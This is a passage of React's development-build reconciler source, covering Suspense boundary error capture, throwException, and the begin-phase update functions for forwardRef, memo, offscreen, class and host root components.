  function getNearestSuspenseBoundaryToCapture(returnFiber) {
    var node = returnFiber;

    do {
      if (node.tag === SuspenseComponent && shouldCaptureSuspense(node)) {
        return node;
      } // This boundary already captured during this render. Continue to the next
      // boundary.


      node = node.return;
    } while (node !== null);

    return null;
  }

  function markSuspenseBoundaryShouldCapture(suspenseBoundary, returnFiber, sourceFiber, root, rootRenderLanes) {
    // This marks a Suspense boundary so that when we're unwinding the stack,
    // it captures the suspended "exception" and does a second (fallback) pass.
    if ((suspenseBoundary.mode & ConcurrentMode) === NoMode) {
      // Legacy Mode Suspense
      //
      // If the boundary is in legacy mode, we should *not*
      // suspend the commit. Pretend as if the suspended component rendered
      // null and keep rendering. When the Suspense boundary completes,
      // we'll do a second pass to render the fallback.
      if (suspenseBoundary === returnFiber) {
        // Special case where we suspended while reconciling the children of
        // a Suspense boundary's inner Offscreen wrapper fiber. This happens
        // when a React.lazy component is a direct child of a
        // Suspense boundary.
        //
        // Suspense boundaries are implemented as multiple fibers, but they
        // are a single conceptual unit. The legacy mode behavior where we
        // pretend the suspended fiber committed as `null` won't work,
        // because in this case the "suspended" fiber is the inner
        // Offscreen wrapper.
        //
        // Because the contents of the boundary haven't started rendering
        // yet (i.e. nothing in the tree has partially rendered) we can
        // switch to the regular, concurrent mode behavior: mark the
        // boundary with ShouldCapture and enter the unwind phase.
        suspenseBoundary.flags |= ShouldCapture;
      } else {
        suspenseBoundary.flags |= DidCapture;
        sourceFiber.flags |= ForceUpdateForLegacySuspense; // We're going to commit this fiber even though it didn't complete.
        // But we shouldn't call any lifecycle methods or callbacks. Remove
        // all lifecycle effect tags.

        sourceFiber.flags &= ~(LifecycleEffectMask | Incomplete);

        if (sourceFiber.tag === ClassComponent) {
          var currentSourceFiber = sourceFiber.alternate;

          if (currentSourceFiber === null) {
            // This is a new mount. Change the tag so it's not mistaken for a
            // completed class component. For example, we should not call
            // componentWillUnmount if it is deleted.
            sourceFiber.tag = IncompleteClassComponent;
          } else {
            // When we try rendering again, we should not reuse the current fiber,
            // since it's known to be in an inconsistent state. Use a force update to
            // prevent a bail out.
            var update = createUpdate(NoTimestamp, SyncLane);
            update.tag = ForceUpdate;
            enqueueUpdate(sourceFiber, update, SyncLane);
          }
        } // The source fiber did not complete. Mark it with Sync priority to
        // indicate that it still has pending work.


        sourceFiber.lanes = mergeLanes(sourceFiber.lanes, SyncLane);
      }

      return suspenseBoundary;
    } // Confirmed that the boundary is in a concurrent mode tree. Continue
    // with the normal suspend path.
    //
    // After this we'll use a set of heuristics to determine whether this
    // render pass will run to completion or restart or "suspend" the commit.
    // The actual logic for this is spread out in different places.
    //
    // This first principle is that if we're going to suspend when we complete
    // a root, then we should also restart if we get an update or ping that
    // might unsuspend it, and vice versa. The only reason to suspend is
    // because you think you might want to restart before committing. However,
    // it doesn't make sense to restart only while in the period we're suspended.
    //
    // Restarting too aggressively is also not good because it starves out any
    // intermediate loading state. So we use heuristics to determine when.
    // Suspense Heuristics
    //
    // If nothing threw a Promise or all the same fallbacks are already showing,
    // then don't suspend/restart.
    //
    // If this is an initial render of a new tree of Suspense boundaries and
    // those trigger a fallback, then don't suspend/restart. We want to ensure
    // that we can show the initial loading state as quickly as possible.
    //
    // If we hit a "Delayed" case, such as when we'd switch from content back into
    // a fallback, then we should always suspend/restart. Transitions apply
    // to this case. If none is defined, JND is used instead.
    //
    // If we're already showing a fallback and it gets "retried", allowing us to show
    // another level, but there's still an inner boundary that would show a fallback,
    // then we suspend/restart for 500ms since the last time we showed a fallback
    // anywhere in the tree. This effectively throttles progressive loading into a
    // consistent train of commits. This also gives us an opportunity to restart to
    // get to the completed state slightly earlier.
    //
    // If there's ambiguity due to batching it's resolved in preference of:
    // 1) "delayed", 2) "initial render", 3) "retry".
    //
    // We want to ensure that a "busy" state doesn't get force committed. We want to
    // ensure that new initial loading states can commit as soon as possible.


    suspenseBoundary.flags |= ShouldCapture; // TODO: I think we can remove this, since we now use `DidCapture` in
    // the begin phase to prevent an early bailout.

    suspenseBoundary.lanes = rootRenderLanes;
    return suspenseBoundary;
  }

  function throwException(root, returnFiber, sourceFiber, value, rootRenderLanes) {
    // The source fiber did not complete.
    sourceFiber.flags |= Incomplete;

    {
      if (isDevToolsPresent) {
        // If we have pending work still, restore the original updaters
        restorePendingUpdaters(root, rootRenderLanes);
      }
    }

    if (value !== null && typeof value === 'object' && typeof value.then === 'function') {
      // This is a wakeable. The component suspended.
      var wakeable = value;
      resetSuspendedComponent(sourceFiber);

      {
        if (getIsHydrating() && sourceFiber.mode & ConcurrentMode) {
          markDidThrowWhileHydratingDEV();
        }
      }


      var suspenseBoundary = getNearestSuspenseBoundaryToCapture(returnFiber);

      if (suspenseBoundary !== null) {
        suspenseBoundary.flags &= ~ForceClientRender;
        markSuspenseBoundaryShouldCapture(suspenseBoundary, returnFiber, sourceFiber, root, rootRenderLanes); // We only attach ping listeners in concurrent mode. Legacy Suspense always
        // commits fallbacks synchronously, so there are no pings.

        if (suspenseBoundary.mode & ConcurrentMode) {
          attachPingListener(root, wakeable, rootRenderLanes);
        }

        attachRetryListener(suspenseBoundary, root, wakeable);
        return;
      } else {
        // No boundary was found. Unless this is a sync update, this is OK.
        // We can suspend and wait for more data to arrive.
        if (!includesSyncLane(rootRenderLanes)) {
          // This is not a sync update. Suspend. Since we're not activating a
          // Suspense boundary, this will unwind all the way to the root without
          // performing a second pass to render a fallback. (This is arguably how
          // refresh transitions should work, too, since we're not going to commit
          // the fallbacks anyway.)
          //
          // This case also applies to initial hydration.
          attachPingListener(root, wakeable, rootRenderLanes);
          renderDidSuspendDelayIfPossible();
          return;
        } // This is a sync/discrete update. We treat this case like an error
        // because discrete renders are expected to produce a complete tree
        // synchronously to maintain consistency with external state.


        var uncaughtSuspenseError = new Error('A component suspended while responding to synchronous input. This ' + 'will cause the UI to be replaced with a loading indicator. To ' + 'fix, updates that suspend should be wrapped ' + 'with startTransition.'); // If we're outside a transition, fall through to the regular error path.
        // The error will be caught by the nearest suspense boundary.

        value = uncaughtSuspenseError;
      }
    } else {
      // This is a regular error, not a Suspense wakeable.
      if (getIsHydrating() && sourceFiber.mode & ConcurrentMode) {
        markDidThrowWhileHydratingDEV();

        var _suspenseBoundary = getNearestSuspenseBoundaryToCapture(returnFiber); // If the error was thrown during hydration, we may be able to recover by
        // discarding the dehydrated content and switching to a client render.
        // Instead of surfacing the error, find the nearest Suspense boundary
        // and render it again without hydration.


        if (_suspenseBoundary !== null) {
          if ((_suspenseBoundary.flags & ShouldCapture) === NoFlags) {
            // Set a flag to indicate that we should try rendering the normal
            // children again, not the fallback.
            _suspenseBoundary.flags |= ForceClientRender;
          }

          markSuspenseBoundaryShouldCapture(_suspenseBoundary, returnFiber, sourceFiber, root, rootRenderLanes); // Even though the user may not be affected by this error, we should
          // still log it so it can be fixed.

          queueHydrationError(createCapturedValueAtFiber(value, sourceFiber));
          return;
        }
      }
    }

    value = createCapturedValueAtFiber(value, sourceFiber);
    renderDidError(value); // We didn't find a boundary that could handle this type of exception. Start
    // over and traverse parent path again, this time treating the exception
    // as an error.

    var workInProgress = returnFiber;

    do {
      switch (workInProgress.tag) {
        case HostRoot:
          {
            var _errorInfo = value;
            workInProgress.flags |= ShouldCapture;
            var lane = pickArbitraryLane(rootRenderLanes);
            workInProgress.lanes = mergeLanes(workInProgress.lanes, lane);
            var update = createRootErrorUpdate(workInProgress, _errorInfo, lane);
            enqueueCapturedUpdate(workInProgress, update);
            return;
          }

        case ClassComponent:
          // Capture and retry
          var errorInfo = value;
          var ctor = workInProgress.type;
          var instance = workInProgress.stateNode;

          if ((workInProgress.flags & DidCapture) === NoFlags && (typeof ctor.getDerivedStateFromError === 'function' || instance !== null && typeof instance.componentDidCatch === 'function' && !isAlreadyFailedLegacyErrorBoundary(instance))) {
            workInProgress.flags |= ShouldCapture;

            var _lane = pickArbitraryLane(rootRenderLanes);

            workInProgress.lanes = mergeLanes(workInProgress.lanes, _lane); // Schedule the error boundary to re-render using updated state

            var _update = createClassErrorUpdate(workInProgress, errorInfo, _lane);

            enqueueCapturedUpdate(workInProgress, _update);
            return;
          }

          break;
      }

      workInProgress = workInProgress.return;
    } while (workInProgress !== null);
  }

  function getSuspendedCache() {
    {
      return null;
    } // This function is called when a Suspense boundary suspends. It returns the
  }

  var ReactCurrentOwner$1 = ReactSharedInternals.ReactCurrentOwner;
  var didReceiveUpdate = false;
  var didWarnAboutBadClass;
  var didWarnAboutModulePatternComponent;
  var didWarnAboutContextTypeOnFunctionComponent;
  var didWarnAboutGetDerivedStateOnFunctionComponent;
  var didWarnAboutFunctionRefs;
  var didWarnAboutReassigningProps;
  var didWarnAboutRevealOrder;
  var didWarnAboutTailOptions;
  var didWarnAboutDefaultPropsOnFunctionComponent;

  {
    didWarnAboutBadClass = {};
    didWarnAboutModulePatternComponent = {};
    didWarnAboutContextTypeOnFunctionComponent = {};
    didWarnAboutGetDerivedStateOnFunctionComponent = {};
    didWarnAboutFunctionRefs = {};
    didWarnAboutReassigningProps = false;
    didWarnAboutRevealOrder = {};
    didWarnAboutTailOptions = {};
    didWarnAboutDefaultPropsOnFunctionComponent = {};
  }

  function reconcileChildren(current, workInProgress, nextChildren, renderLanes) {
    if (current === null) {
      // If this is a fresh new component that hasn't been rendered yet, we
      // won't update its child set by applying minimal side-effects. Instead,
      // we will add them all to the child before it gets rendered. That means
      // we can optimize this reconciliation pass by not tracking side-effects.
      workInProgress.child = mountChildFibers(workInProgress, null, nextChildren, renderLanes);
    } else {
      // If the current child is the same as the work in progress, it means that
      // we haven't yet started any work on these children. Therefore, we use
      // the clone algorithm to create a copy of all the current children.
      // If we had any progressed work already, that is invalid at this point so
      // let's throw it out.
      workInProgress.child = reconcileChildFibers(workInProgress, current.child, nextChildren, renderLanes);
    }
  }

  function forceUnmountCurrentAndReconcile(current, workInProgress, nextChildren, renderLanes) {
    // This function is fork of reconcileChildren. It's used in cases where we
    // want to reconcile without matching against the existing set. This has the
    // effect of all current children being unmounted; even if the type and key
    // are the same, the old child is unmounted and a new child is created.
    //
    // To do this, we're going to go through the reconcile algorithm twice. In
    // the first pass, we schedule a deletion for all the current children by
    // passing null.
    workInProgress.child = reconcileChildFibers(workInProgress, current.child, null, renderLanes); // In the second pass, we mount the new children. The trick here is that we
    // pass null in place of where we usually pass the current child set. This has
    // the effect of remounting all children regardless of whether their
    // identities match.

    workInProgress.child = reconcileChildFibers(workInProgress, null, nextChildren, renderLanes);
  }

  function updateForwardRef(current, workInProgress, Component, nextProps, renderLanes) {
    // TODO: current can be non-null here even if the component
    // hasn't yet mounted. This happens after the first render suspends.
    // We'll need to figure out if this is fine or can cause issues.
    {
      if (workInProgress.type !== workInProgress.elementType) {
        // Lazy component props can't be validated in createElement
        // because they're only guaranteed to be resolved here.
        var innerPropTypes = Component.propTypes;

        if (innerPropTypes) {
          checkPropTypes(innerPropTypes, nextProps, // Resolved props
          'prop', getComponentNameFromType(Component));
        }
      }
    }

    var render = Component.render;
    var ref = workInProgress.ref; // The rest is a fork of updateFunctionComponent

    var nextChildren;
    var hasId;
    prepareToReadContext(workInProgress, renderLanes);

    {
      markComponentRenderStarted(workInProgress);
    }

    {
      ReactCurrentOwner$1.current = workInProgress;
      setIsRendering(true);
      nextChildren = renderWithHooks(current, workInProgress, render, nextProps, ref, renderLanes);
      hasId = checkDidRenderIdHook();

      if ( workInProgress.mode & StrictLegacyMode) {
        setIsStrictModeForDevtools(true);

        try {
          nextChildren = renderWithHooks(current, workInProgress, render, nextProps, ref, renderLanes);
          hasId = checkDidRenderIdHook();
        } finally {
          setIsStrictModeForDevtools(false);
        }
      }

      setIsRendering(false);
    }

    {
      markComponentRenderStopped();
    }

    if (current !== null && !didReceiveUpdate) {
      bailoutHooks(current, workInProgress, renderLanes);
      return bailoutOnAlreadyFinishedWork(current, workInProgress, renderLanes);
    }

    if (getIsHydrating() && hasId) {
      pushMaterializedTreeId(workInProgress);
    } // React DevTools reads this flag.


    workInProgress.flags |= PerformedWork;
    reconcileChildren(current, workInProgress, nextChildren, renderLanes);
    return workInProgress.child;
  }

  function updateMemoComponent(current, workInProgress, Component, nextProps, renderLanes) {
    if (current === null) {
      var type = Component.type;

      if (isSimpleFunctionComponent(type) && Component.compare === null && // SimpleMemoComponent codepath doesn't resolve outer props either.
      Component.defaultProps === undefined) {
        var resolvedType = type;

        {
          resolvedType = resolveFunctionForHotReloading(type);
        } // If this is a plain function component without default props,
        // and with only the default shallow comparison, we upgrade it
        // to a SimpleMemoComponent to allow fast path updates.


        workInProgress.tag = SimpleMemoComponent;
        workInProgress.type = resolvedType;

        {
          validateFunctionComponentInDev(workInProgress, type);
        }

        return updateSimpleMemoComponent(current, workInProgress, resolvedType, nextProps, renderLanes);
      }

      {
        var innerPropTypes = type.propTypes;

        if (innerPropTypes) {
          // Inner memo component props aren't currently validated in createElement.
          // We could move it there, but we'd still need this for lazy code path.
          checkPropTypes(innerPropTypes, nextProps, // Resolved props
          'prop', getComponentNameFromType(type));
        }

        if ( Component.defaultProps !== undefined) {
          var componentName = getComponentNameFromType(type) || 'Unknown';

          if (!didWarnAboutDefaultPropsOnFunctionComponent[componentName]) {
            error('%s: Support for defaultProps will be removed from memo components ' + 'in a future major release. Use JavaScript default parameters instead.', componentName);

            didWarnAboutDefaultPropsOnFunctionComponent[componentName] = true;
          }
        }
      }

      var child = createFiberFromTypeAndProps(Component.type, null, nextProps, workInProgress, workInProgress.mode, renderLanes);
      child.ref = workInProgress.ref;
      child.return = workInProgress;
      workInProgress.child = child;
      return child;
    }

    {
      var _type = Component.type;
      var _innerPropTypes = _type.propTypes;

      if (_innerPropTypes) {
        // Inner memo component props aren't currently validated in createElement.
        // We could move it there, but we'd still need this for lazy code path.
        checkPropTypes(_innerPropTypes, nextProps, // Resolved props
        'prop', getComponentNameFromType(_type));
      }
    }

    var currentChild = current.child; // This is always exactly one child

    var hasScheduledUpdateOrContext = checkScheduledUpdateOrContext(current, renderLanes);

    if (!hasScheduledUpdateOrContext) {
      // This will be the props with resolved defaultProps,
      // unlike current.memoizedProps which will be the unresolved ones.
      var prevProps = currentChild.memoizedProps; // Default to shallow comparison

      var compare = Component.compare;
      compare = compare !== null ? compare : shallowEqual;

      if (compare(prevProps, nextProps) && current.ref === workInProgress.ref) {
        return bailoutOnAlreadyFinishedWork(current, workInProgress, renderLanes);
      }
    } // React DevTools reads this flag.


    workInProgress.flags |= PerformedWork;
    var newChild = createWorkInProgress(currentChild, nextProps);
    newChild.ref = workInProgress.ref;
    newChild.return = workInProgress;
    workInProgress.child = newChild;
    return newChild;
  }

  function updateSimpleMemoComponent(current, workInProgress, Component, nextProps, renderLanes) {
    // TODO: current can be non-null here even if the component
    // hasn't yet mounted. This happens when the inner render suspends.
    // We'll need to figure out if this is fine or can cause issues.
    {
      if (workInProgress.type !== workInProgress.elementType) {
        // Lazy component props can't be validated in createElement
        // because they're only guaranteed to be resolved here.
        var outerMemoType = workInProgress.elementType;

        if (outerMemoType.$$typeof === REACT_LAZY_TYPE) {
          // We warn when you define propTypes on lazy()
          // so let's just skip over it to find memo() outer wrapper.
          // Inner props for memo are validated later.
          var lazyComponent = outerMemoType;
          var payload = lazyComponent._payload;
          var init = lazyComponent._init;

          try {
            outerMemoType = init(payload);
          } catch (x) {
            outerMemoType = null;
          } // Inner propTypes will be validated in the function component path.


          var outerPropTypes = outerMemoType && outerMemoType.propTypes;

          if (outerPropTypes) {
            checkPropTypes(outerPropTypes, nextProps, // Resolved (SimpleMemoComponent has no defaultProps)
            'prop', getComponentNameFromType(outerMemoType));
          }
        }
      }
    }

    if (current !== null) {
      var prevProps = current.memoizedProps;

      if (shallowEqual(prevProps, nextProps) && current.ref === workInProgress.ref && ( // Prevent bailout if the implementation changed due to hot reload.
       workInProgress.type === current.type )) {
        didReceiveUpdate = false; // The props are shallowly equal. Reuse the previous props object, like we
        // would during a normal fiber bailout.
        //
        // We don't have strong guarantees that the props object is referentially
        // equal during updates where we can't bail out anyway — like if the props
        // are shallowly equal, but there's a local state or context update in the
        // same batch.
        //
        // However, as a principle, we should aim to make the behavior consistent
        // across different ways of memoizing a component. For example, React.memo
        // has a different internal Fiber layout if you pass a normal function
        // component (SimpleMemoComponent) versus if you pass a different type
        // like forwardRef (MemoComponent). But this is an implementation detail.
        // Wrapping a component in forwardRef (or React.lazy, etc) shouldn't
        // affect whether the props object is reused during a bailout.

        workInProgress.pendingProps = nextProps = prevProps;

        if (!checkScheduledUpdateOrContext(current, renderLanes)) {
          // The pending lanes were cleared at the beginning of beginWork. We're
          // about to bail out, but there might be other lanes that weren't
          // included in the current render. Usually, the priority level of the
          // remaining updates is accumulated during the evaluation of the
          // component (i.e. when processing the update queue). But since since
          // we're bailing out early *without* evaluating the component, we need
          // to account for it here, too. Reset to the value of the current fiber.
          // NOTE: This only applies to SimpleMemoComponent, not MemoComponent,
          // because a MemoComponent fiber does not have hooks or an update queue;
          // rather, it wraps around an inner component, which may or may not
          // contains hooks.
          // TODO: Move the reset at in beginWork out of the common path so that
          // this is no longer necessary.
          workInProgress.lanes = current.lanes;
          return bailoutOnAlreadyFinishedWork(current, workInProgress, renderLanes);
        } else if ((current.flags & ForceUpdateForLegacySuspense) !== NoFlags) {
          // This is a special case that only exists for legacy mode.
          // See https://github.com/facebook/react/pull/19216.
          didReceiveUpdate = true;
        }
      }
    }

    return updateFunctionComponent(current, workInProgress, Component, nextProps, renderLanes);
  }

  function updateOffscreenComponent(current, workInProgress, renderLanes) {
    var nextProps = workInProgress.pendingProps;
    var nextChildren = nextProps.children;
    var prevState = current !== null ? current.memoizedState : null;

    if (nextProps.mode === 'hidden' || enableLegacyHidden ) {
      // Rendering a hidden tree.
      if ((workInProgress.mode & ConcurrentMode) === NoMode) {
        // In legacy sync mode, don't defer the subtree. Render it now.
        // TODO: Consider how Offscreen should work with transitions in the future
        var nextState = {
          baseLanes: NoLanes,
          cachePool: null,
          transitions: null
        };
        workInProgress.memoizedState = nextState;

        pushRenderLanes(workInProgress, renderLanes);
      } else if (!includesSomeLane(renderLanes, OffscreenLane)) {
        var spawnedCachePool = null; // We're hidden, and we're not rendering at Offscreen. We will bail out
        // and resume this tree later.

        var nextBaseLanes;

        if (prevState !== null) {
          var prevBaseLanes = prevState.baseLanes;
          nextBaseLanes = mergeLanes(prevBaseLanes, renderLanes);
        } else {
          nextBaseLanes = renderLanes;
        } // Schedule this fiber to re-render at offscreen priority. Then bailout.


        workInProgress.lanes = workInProgress.childLanes = laneToLanes(OffscreenLane);
        var _nextState = {
          baseLanes: nextBaseLanes,
          cachePool: spawnedCachePool,
          transitions: null
        };
        workInProgress.memoizedState = _nextState;
        workInProgress.updateQueue = null;
        // to avoid a push/pop misalignment.


        pushRenderLanes(workInProgress, nextBaseLanes);

        return null;
      } else {
        // This is the second render. The surrounding visible content has already
        // committed. Now we resume rendering the hidden tree.
        // Rendering at offscreen, so we can clear the base lanes.
        var _nextState2 = {
          baseLanes: NoLanes,
          cachePool: null,
          transitions: null
        };
        workInProgress.memoizedState = _nextState2; // Push the lanes that were skipped when we bailed out.

        var subtreeRenderLanes = prevState !== null ? prevState.baseLanes : renderLanes;

        pushRenderLanes(workInProgress, subtreeRenderLanes);
      }
    } else {
      // Rendering a visible tree.
      var _subtreeRenderLanes;

      if (prevState !== null) {
        // We're going from hidden -> visible.
        _subtreeRenderLanes = mergeLanes(prevState.baseLanes, renderLanes);

        workInProgress.memoizedState = null;
      } else {
        // We weren't previously hidden, and we still aren't, so there's nothing
        // special to do. Need to push to the stack regardless, though, to avoid
        // a push/pop misalignment.
        _subtreeRenderLanes = renderLanes;
      }

      pushRenderLanes(workInProgress, _subtreeRenderLanes);
    }

    reconcileChildren(current, workInProgress, nextChildren, renderLanes);
    return workInProgress.child;
  } // Note: These happen to have identical begin phases, for now. We shouldn't hold

  function updateFragment(current, workInProgress, renderLanes) {
    var nextChildren = workInProgress.pendingProps;
    reconcileChildren(current, workInProgress, nextChildren, renderLanes);
    return workInProgress.child;
  }

  function updateMode(current, workInProgress, renderLanes) {
    var nextChildren = workInProgress.pendingProps.children;
    reconcileChildren(current, workInProgress, nextChildren, renderLanes);
    return workInProgress.child;
  }

  function updateProfiler(current, workInProgress, renderLanes) {
    {
      workInProgress.flags |= Update;

      {
        // Reset effect durations for the next eventual effect phase.
        // These are reset during render to allow the DevTools commit hook a chance to read them,
        var stateNode = workInProgress.stateNode;
        stateNode.effectDuration = 0;
        stateNode.passiveEffectDuration = 0;
      }
    }

    var nextProps = workInProgress.pendingProps;
    var nextChildren = nextProps.children;
    reconcileChildren(current, workInProgress, nextChildren, renderLanes);
    return workInProgress.child;
  }

  function markRef(current, workInProgress) {
    var ref = workInProgress.ref;

    if (current === null && ref !== null || current !== null && current.ref !== ref) {
      // Schedule a Ref effect
      workInProgress.flags |= Ref;

      {
        workInProgress.flags |= RefStatic;
      }
    }
  }

  function updateFunctionComponent(current, workInProgress, Component, nextProps, renderLanes) {
    {
      if (workInProgress.type !== workInProgress.elementType) {
        // Lazy component props can't be validated in createElement
        // because they're only guaranteed to be resolved here.
        var innerPropTypes = Component.propTypes;

        if (innerPropTypes) {
          checkPropTypes(innerPropTypes, nextProps, // Resolved props
          'prop', getComponentNameFromType(Component));
        }
      }
    }

    var context;

    {
      var unmaskedContext = getUnmaskedContext(workInProgress, Component, true);
      context = getMaskedContext(workInProgress, unmaskedContext);
    }

    var nextChildren;
    var hasId;
    prepareToReadContext(workInProgress, renderLanes);

    {
      markComponentRenderStarted(workInProgress);
    }

    {
      ReactCurrentOwner$1.current = workInProgress;
      setIsRendering(true);
      nextChildren = renderWithHooks(current, workInProgress, Component, nextProps, context, renderLanes);
      hasId = checkDidRenderIdHook();

      if ( workInProgress.mode & StrictLegacyMode) {
        setIsStrictModeForDevtools(true);

        try {
          nextChildren = renderWithHooks(current, workInProgress, Component, nextProps, context, renderLanes);
          hasId = checkDidRenderIdHook();
        } finally {
          setIsStrictModeForDevtools(false);
        }
      }

      setIsRendering(false);
    }

    {
      markComponentRenderStopped();
    }

    if (current !== null && !didReceiveUpdate) {
      bailoutHooks(current, workInProgress, renderLanes);
      return bailoutOnAlreadyFinishedWork(current, workInProgress, renderLanes);
    }

    if (getIsHydrating() && hasId) {
      pushMaterializedTreeId(workInProgress);
    } // React DevTools reads this flag.


    workInProgress.flags |= PerformedWork;
    reconcileChildren(current, workInProgress, nextChildren, renderLanes);
    return workInProgress.child;
  }

  function updateClassComponent(current, workInProgress, Component, nextProps, renderLanes) {
    {
      // This is used by DevTools to force a boundary to error.
      switch (shouldError(workInProgress)) {
        case false:
          {
            var _instance = workInProgress.stateNode;
            var ctor = workInProgress.type; // TODO This way of resetting the error boundary state is a hack.
            // Is there a better way to do this?

            var tempInstance = new ctor(workInProgress.memoizedProps, _instance.context);
            var state = tempInstance.state;

            _instance.updater.enqueueSetState(_instance, state, null);

            break;
          }

        case true:
          {
            workInProgress.flags |= DidCapture;
            workInProgress.flags |= ShouldCapture; // eslint-disable-next-line react-internal/prod-error-codes

            var error$1 = new Error('Simulated error coming from DevTools');
            var lane = pickArbitraryLane(renderLanes);
            workInProgress.lanes = mergeLanes(workInProgress.lanes, lane); // Schedule the error boundary to re-render using updated state

            var update = createClassErrorUpdate(workInProgress, createCapturedValueAtFiber(error$1, workInProgress), lane);
            enqueueCapturedUpdate(workInProgress, update);
            break;
          }
      }

      if (workInProgress.type !== workInProgress.elementType) {
        // Lazy component props can't be validated in createElement
        // because they're only guaranteed to be resolved here.
        var innerPropTypes = Component.propTypes;

        if (innerPropTypes) {
          checkPropTypes(innerPropTypes, nextProps, // Resolved props
          'prop', getComponentNameFromType(Component));
        }
      }
    } // Push context providers early to prevent context stack mismatches.
    // During mounting we don't know the child context yet as the instance doesn't exist.
    // We will invalidate the child context in finishClassComponent() right after rendering.


    var hasContext;

    if (isContextProvider(Component)) {
      hasContext = true;
      pushContextProvider(workInProgress);
    } else {
      hasContext = false;
    }

    prepareToReadContext(workInProgress, renderLanes);
    var instance = workInProgress.stateNode;
    var shouldUpdate;

    if (instance === null) {
      resetSuspendedCurrentOnMountInLegacyMode(current, workInProgress); // In the initial pass we might need to construct the instance.

      constructClassInstance(workInProgress, Component, nextProps);
      mountClassInstance(workInProgress, Component, nextProps, renderLanes);
      shouldUpdate = true;
    } else if (current === null) {
      // In a resume, we'll already have an instance we can reuse.
      shouldUpdate = resumeMountClassInstance(workInProgress, Component, nextProps, renderLanes);
    } else {
      shouldUpdate = updateClassInstance(current, workInProgress, Component, nextProps, renderLanes);
    }

    var nextUnitOfWork = finishClassComponent(current, workInProgress, Component, shouldUpdate, hasContext, renderLanes);

    {
      var inst = workInProgress.stateNode;

      if (shouldUpdate && inst.props !== nextProps) {
        if (!didWarnAboutReassigningProps) {
          error('It looks like %s is reassigning its own `this.props` while rendering. ' + 'This is not supported and can lead to confusing bugs.', getComponentNameFromFiber(workInProgress) || 'a component');
        }

        didWarnAboutReassigningProps = true;
      }
    }

    return nextUnitOfWork;
  }

  function finishClassComponent(current, workInProgress, Component, shouldUpdate, hasContext, renderLanes) {
    // Refs should update even if shouldComponentUpdate returns false
    markRef(current, workInProgress);
    var didCaptureError = (workInProgress.flags & DidCapture) !== NoFlags;

    if (!shouldUpdate && !didCaptureError) {
      // Context providers should defer to sCU for rendering
      if (hasContext) {
        invalidateContextProvider(workInProgress, Component, false);
      }

      return bailoutOnAlreadyFinishedWork(current, workInProgress, renderLanes);
    }

    var instance = workInProgress.stateNode; // Rerender

    ReactCurrentOwner$1.current = workInProgress;
    var nextChildren;

    if (didCaptureError && typeof Component.getDerivedStateFromError !== 'function') {
      // If we captured an error, but getDerivedStateFromError is not defined,
      // unmount all the children. componentDidCatch will schedule an update to
      // re-render a fallback. This is temporary until we migrate everyone to
      // the new API.
      // TODO: Warn in a future release.
      nextChildren = null;

      {
        stopProfilerTimerIfRunning();
      }
    } else {
      {
        markComponentRenderStarted(workInProgress);
      }

      {
        setIsRendering(true);
        nextChildren = instance.render();

        if ( workInProgress.mode & StrictLegacyMode) {
          setIsStrictModeForDevtools(true);

          try {
            instance.render();
          } finally {
            setIsStrictModeForDevtools(false);
          }
        }

        setIsRendering(false);
      }

      {
        markComponentRenderStopped();
      }
    } // React DevTools reads this flag.


    workInProgress.flags |= PerformedWork;

    if (current !== null && didCaptureError) {
      // If we're recovering from an error, reconcile without reusing any of
      // the existing children. Conceptually, the normal children and the children
      // that are shown on error are two different sets, so we shouldn't reuse
      // normal children even if their identities match.
      forceUnmountCurrentAndReconcile(current, workInProgress, nextChildren, renderLanes);
    } else {
      reconcileChildren(current, workInProgress, nextChildren, renderLanes);
    } // Memoize state using the values we just used to render.
    // TODO: Restructure so we never read values from the instance.


    workInProgress.memoizedState = instance.state; // The context might have changed so we need to recalculate it.

    if (hasContext) {
      invalidateContextProvider(workInProgress, Component, true);
    }

    return workInProgress.child;
  }

  function pushHostRootContext(workInProgress) {
    var root = workInProgress.stateNode;

    if (root.pendingContext) {
      pushTopLevelContextObject(workInProgress, root.pendingContext, root.pendingContext !== root.context);
    } else if (root.context) {
      // Should always be set
      pushTopLevelContextObject(workInProgress, root.context, false);
    }

    pushHostContainer(workInProgress, root.containerInfo);
  }

  function updateHostRoot(current, workInProgress, renderLanes) {
    pushHostRootContext(workInProgress);

    if (current === null) {
      throw new Error('Should have a current fiber. This is a bug in React.');
    }

    var nextProps = workInProgress.pendingProps;
    var prevState = workInProgress.memoizedState;
    var prevChildren = prevState.element;
    cloneUpdateQueue(current, workInProgress);
    processUpdateQueue(workInProgress, nextProps, null, renderLanes);
    var nextState = workInProgress.memoizedState;
    var root = workInProgress.stateNode;
    // being called "element".


    var nextChildren = nextState.element;

    if ( prevState.isDehydrated) {
      // This is a hydration root whose shell has not yet hydrated. We should
      // attempt to hydrate.
      // Flip isDehydrated to false to indicate that when this render
      // finishes, the root will no longer be dehydrated.
      var overrideState = {
        element: nextChildren,
        isDehydrated: false,
        cache: nextState.cache,
        pendingSuspenseBoundaries: nextState.pendingSuspenseBoundaries,
        transitions: nextState.transitions
      };
      var updateQueue = workInProgress.updateQueue; // `baseState` can always be the last state because the root doesn't
      // have reducer functions so it doesn't need rebasing.

      updateQueue.baseState = overrideState;
      workInProgress.memoizedState = overrideState;

      if (workInProgress.flags & ForceClientRender) {
        // Something errored during a previous attempt to hydrate the shell, so we
        // forced a client render.
        var recoverableError = createCapturedValueAtFiber(new Error('There was an error while hydrating. Because the error happened outside ' + 'of a Suspense boundary, the entire root will switch to ' + 'client rendering.'), workInProgress);
        return mountHostRootWithoutHydrating(current, workInProgress, nextChildren, renderLanes, recoverableError);
      } else if (nextChildren !== prevChildren) {
        var _recoverableError = createCapturedValueAtFiber(new Error('This root received an early update, before anything was able ' + 'hydrate. Switched the entire root to client rendering.'), workInProgress);

        return mountHostRootWithoutHydrating(current, workInProgress, nextChildren, renderLanes, _recoverableError);
      } else {
        // The outermost shell has not hydrated yet. Start hydrating.
        enterHydrationState(workInProgress);

        var child = mountChildFibers(workInProgress, null, nextChildren, renderLanes);
        workInProgress.child = child;
        var node = child;

        while (node) {
          // Mark each child as hydrating. This is a fast path to know whether this
          // tree is part of a hydrating tree. This is used to determine if a child
          // node has fully mounted yet, and for scheduling event replaying.
          // Conceptually this is similar to Placement in that a new subtree is
          // inserted into the React tree here. It just happens to not need DOM
          // mutations because it already exists.
          node.flags = node.flags & ~Placement | Hydrating;
          node = node.sibling;
        }
      }
    } else {
      // Root is not dehydrated. Either this is a client-only root, or it
      // already hydrated.
      resetHydrationState();

      if (nextChildren === prevChildren) {
        return bailoutOnAlreadyFinishedWork(current, workInProgress, renderLanes);
      }

